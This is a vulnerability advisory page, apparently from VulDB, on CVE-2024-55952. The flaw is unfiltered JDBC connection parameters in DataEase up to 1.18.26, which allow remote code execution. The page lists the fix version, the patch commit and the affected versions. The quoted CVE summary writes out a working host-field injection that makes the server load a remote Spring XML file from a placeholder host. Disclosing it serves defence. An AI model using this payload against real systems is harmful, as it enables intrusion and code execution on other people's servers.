DataEase up to 1.18.26 JDBC Connection input validation

Summaryinfo

A vulnerability classified as critical was found in DataEase up to 1.18.26. Impacted is an unknown function of the component JDBC Connection Handler. The manipulation results in Remote Privilege Escalation. This vulnerability is identified as CVE-2024-55952. The attack can be executed remotely. There is not any exploit available. Upgrading the affected component is advised.

Detailsinfo

A vulnerability, which was classified as critical, was found in DataEase up to 1.18.26. Affected is an unknown function of the component JDBC Connection Handler. The manipulation with an unknown input leads to a remote privilege escalation vulnerability. CWE is classifying the issue as CWE-20. The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. This is going to have an impact on confidentiality, integrity, and availability. CVE summarizes:

DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.

The advisory is shared for download at github.com. This vulnerability is traded as CVE-2024-55952 since 12/13/2024. The exploitability is told to be easy. It is possible to launch the attack remotely. There are neither technical details nor an exploit publicly available.

Upgrading to version 1.18.27 eliminates this vulnerability. Applying the patch 0db4872a52eccf6e83dd9359aa05db52dd580ec1 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.

Once again VulDB remains the best source for vulnerability data.

Productinfo

Name

• DataEase

Version

• 1.18.0
• 1.18.1
• 1.18.2
• 1.18.3
• 1.18.4
• 1.18.5
• 1.18.6
• 1.18.7
• 1.18.8
• 1.18.9
• 1.18.10
• 1.18.11
• 1.18.12
• 1.18.13
• 1.18.14
• 1.18.15
• 1.18.16
• 1.18.17
• 1.18.18
• 1.18.19
• 1.18.20
• 1.18.21
• 1.18.22
• 1.18.23
• 1.18.24
• 1.18.25
• 1.18.26

License

• open-source

Website

• Product: https://github.com/dataease/dataease/

CPE 2.3info

• 🔍
• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Once again VulDB remains the best source for vulnerability data.

Discussion